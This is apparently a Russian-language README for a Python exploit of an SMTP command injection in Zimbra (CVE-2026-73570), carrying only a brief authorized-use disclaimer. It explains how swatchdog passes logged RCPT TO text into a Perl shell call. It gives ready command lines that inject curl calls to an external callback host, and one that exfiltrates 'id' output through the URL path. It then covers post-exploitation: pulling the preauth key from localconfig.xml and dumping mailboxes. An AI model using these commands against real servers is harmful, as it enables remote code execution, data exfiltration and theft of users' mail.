
Python PoC для CVE-2026-73570 — инъекция SMTP-команд в Zimbra. Отправляет некорректные полезные нагрузки RCPT TO для запуска выполнения shell-команд через swatchdog, с автоматическим сканированием портов и OOB-проверкой.
Пользовательский низкоуровневый Python-скрипт proof-of-concept (PoC) для проверки уязвимости инъекции команд в SMTP (CVE-2026-73570).
Этот инструмент отправляет некорректный адрес RCPT TO, содержащий подстановку команд в стиле shell (например, $(command)), чтобы определить, передаёт ли целевой почтовый сервер или его конвейер последующей обработки адрес в shell без санитизации.
⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Этот инструмент предназначен ТОЛЬКО для образовательных целей и авторизованного тестирования безопасности. Убедитесь, что у вас есть явное разрешение на тестирование целевой инфраструктуры. Несанкционированное сканирование или эксплуатация почтовых серверов незаконны.
Не каждый сервер Zimbra уязвим. Должны выполняться все следующие условия:
zimbra-snmp (часто предлагается при установке).snmp_notify).swatchdog (включён по умолчанию).Поверхность атаки: Для атаки не требуется, чтобы SNMP (UDP/161/162) был доступен атакующему. Вредоносные данные поступают через стандартный SMTP.
Процесс swatchdog отслеживает /var/log/zimbra.log, используя конфигурацию из /opt/zimbra/conf/swatchrc.in. Он активно сопоставляет записи журнала со следующими регулярными выражениями:
/: Service status change: (\S+) (.*) changed from stopped to running/
/: Service status change: (\S+) (.*) changed from running to stopped/
Группа захвата (.*) обрабатывается как имя сервиса. Затем скрипт dosnmp подставляет захваченный текст напрямую в Perl-команду snmptrap в обратных кавычках. Поскольку обратные кавычки Perl выполняются через системный shell, любые метасимволы shell, захваченные в (.*), вычисляются и выполняются.
Атакующие попадают вредоносным текстом в журнал, отправляя SMTP-команду (например, RCPT TO), аргумент которой выглядит как настоящая строка статуса сервиса. Postfix регистрирует это как недопустимый синтаксис адреса, но swatchdog всё равно сопоставляет регулярное выражение в строке журнала и передаёт полезную нагрузку в shell.
smtplib Python, чтобы отправлять сырые, не соответствующие RFC полезные нагрузки точно так, как это сделал бы атакующий.--command.argparse для лёгкой интеграции в рабочие процессы тестирования.Сохраните скрипт в файл с именем CVE-2026-73570.py (или любым другим предпочитаемым именем):
# Пример: загрузите или создайте файл
nano CVE-2026-73570.py
Вы можете запустить скрипт несколькими способами в зависимости от вашего сценария тестирования.
Если вы не укажете порт, скрипт просканирует порты 25, 465 и 587 и автоматически нацелится на первый открытый.
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://your-unique-id.requestrepo.com"
Если вы уже знаете целевой порт (например, 465), вы можете пропустить угадывание при сканировании.
python3 CVE-2026-73570.py --host 127.0.0.1 --port 465 --command "curl http://your-unique-id.requestrepo.com"
Если вы просто хотите проверить, какие почтовые порты открыты на цели, без отправки полезной нагрузки.
python3 CVE-2026-73570.py --host 127.0.0.1 --scan-only
| Аргумент | Короткий | Описание | По умолчанию |
|---|---|---|---|
--host | -H | IP-адрес или домен целевого хоста. | 127.0.0.1 |
--port | -p | Целевой порт. Если опущен, сканирует 25, 465, 587 и нацеливается на открытый. | None (Авто) |
--command | -c | Команда shell для инъекции в SMTP-полезную нагрузку. | TEST_PAYLOAD |
--scan-only | -s | Только сканировать порты и выйти без отправки полезной нагрузки инъекции. | False |
Запуск скрипта сам по себе доказывает только то, что почтовый сервер принимает некорректный адрес RCPT TO. Чтобы подтвердить фактическую инъекцию команд без необходимости прямого доступа к файловой системе или журналам цели, используйте внеполосный (OOB) обратный вызов через HTTP.
http://xyz123.requestrepo.com).curl для обращения к вашему уникальному URL:
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com"
Про-совет (экфильтрация данных): Вы можете экфильтрировать вывод команд, внедряя его в путь URL вашего обратного вызова:
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com/$(id | tr -d ' ')"
Проверьте панель Request Repo, чтобы увидеть вывод uid=0(root) в запрошенном пути.
Во время тестирования вы можете получить SMTP-ответ, подобный этому:
[<] RCPT TO: 554 554 5.7.1 <[email protected]>: Recipient address rejected: Access denied
НЕ предполагайте, что уязвимость не сработала только потому, что адрес был отклонён.
Многие почтовые серверы (например, Postfix или Exim) синтаксически принимают полезную нагрузку во время SMTP-транзакции, но немедленно отклоняют попытку доставки, потому что домен/получатель не входит в их разрешённый список ретрансляции.
Уязвимость CVE-2026-73570 срабатывает после этого отклонения. Вредоносная строка попадает в /var/log/zimbra.log как запись журнала о недопустимом синтаксисе адреса. swatchdog отслеживает этот журнал, сопоставляет полезную нагрузку и передаёт её в shell.
Поскольку полезная нагрузка всё равно достигает этих внутренних систем для регистрации, подстановка команд ($()) всё равно выполняется. Всегда полагайтесь на ваш OOB-обратный вызов (например, Request Repo) для подтверждения успеха, независимо от кода ответа SMTP.
После достижения выполнения команд через инъекцию swatchdog атакующий обычно действует от имени пользователя zimbra. Отсюда основная цель часто состоит в доступе к данным почтовых ящиков.
Чтобы облегчить этот следующий шаг, вы можете использовать zimbraKing — пользовательский инструмент, предназначенный для дампа почтовых ящиков Zimbra.
Сценарий использования:
Во время фазы пост-эксплуатации, если вы можете прочитать файлы конфигурации Zimbra и извлечь preAuthKey (обычно находится в /opt/zimbra/conf/localconfig.xml под ключом zimbra_preauth_key) или если вы получили действительные учётные данные учётной записи Zimbra, вы можете передать их в zimbraKing.
Инструмент использует preAuthKey или учётные данные учётной записи для аутентификации через SOAP API Zimbra и систематически выполняет дамп содержимого целевого почтового ящика без необходимости прямого взаимодействия с базовой базой данных или файловой системой.
smtplib?Встроенный smtplib Python обеспечивает строгое соблюдение стандартов RFC. Если вы попытаетесь передать адрес, содержащий ", $, ( и ), через smtplib.sendmail(), библиотека либо исказит строку, чтобы сделать её «безопасной», либо вызовет исключение SMTPRecipientsRefused до того, как данные достигнут сети. Этот пользовательский клиент использует сырые сокеты, чтобы гарантировать побайтовую доставку полезной нагрузки эксплойта.